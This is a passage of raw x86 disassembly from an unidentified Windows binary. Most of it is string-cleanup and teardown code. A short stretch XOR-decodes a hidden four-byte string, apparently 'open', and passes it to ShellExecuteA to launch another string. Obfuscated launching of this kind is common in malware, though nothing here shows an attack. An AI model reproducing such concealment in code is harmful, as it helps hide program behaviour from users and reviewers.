cmp ecx, 0x10
jb 0x420c15
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420c0b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fdf
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x420c68
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420c5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fdf
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
lea ecx, [ebp - 0x3c]
call fcn.00402ad0
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
lea ecx, [ebp - 0x2cc]
call fcn.00402ad0
lea ecx, [ebp - 0x1b0]
call fcn.00402ad0
lea ecx, [ebp - 0x198]
call fcn.00402ad0
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x4a
call fcn.00402ad0
sub esp, 0x18
lea ecx, [ebp - 0x2b4]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
xor cl, cl
call fcn.0041e040
add esp, 0x18
lea ecx, [ebp - 0x2b4]
call fcn.00402ad0
lea ecx, [ebp - 0x2e4]
mov byte [ebp - 4], 0x20
call fcn.00402ad0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
je 0x420e01
cmp dword [ebp - 0xa0], 0x10
lea esi, [ebp - 0xb4]
xorps xmm0, xmm0
mov dword [ebp - 0x3d], 0xdcd4c0c0
cmovae esi, dword [ebp - 0xb4]
xor ecx, ecx
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0
mov word [ebp - 0x25], 0
mov byte [ebp - 0x23], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3d], al
inc ecx
cmp ecx, 4
jb 0x420d55
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3d]
mov byte [ebp - 0x39], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x70], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420d90
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.00402c40
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push 1
cmovae eax, dword [ebp - 0x84]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x420e01
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420df7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fe4
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x420e3b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420e31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fe9
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x420e75
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420e6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420fee
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x228]
cmp ecx, 0x10
jb 0x420eaf
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420ea5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
cmp eax, 0x10
jb 0x420f06
mov edx, dword [ebp - 0x180]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x420efc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x2e8]
cmp ecx, 0x10
jb 0x420f40
mov edx, dword [ebp - 0x2fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420f36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x240]
cmp ecx, 0x10
jb 0x420f7a
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420f70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420ff3
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004024b0
call fcn.004024b0
call fcn.004024b0
call fcn.0050a1d0
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
push eax
call fcn.00503edb
call fcn.0050a1d0
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
int3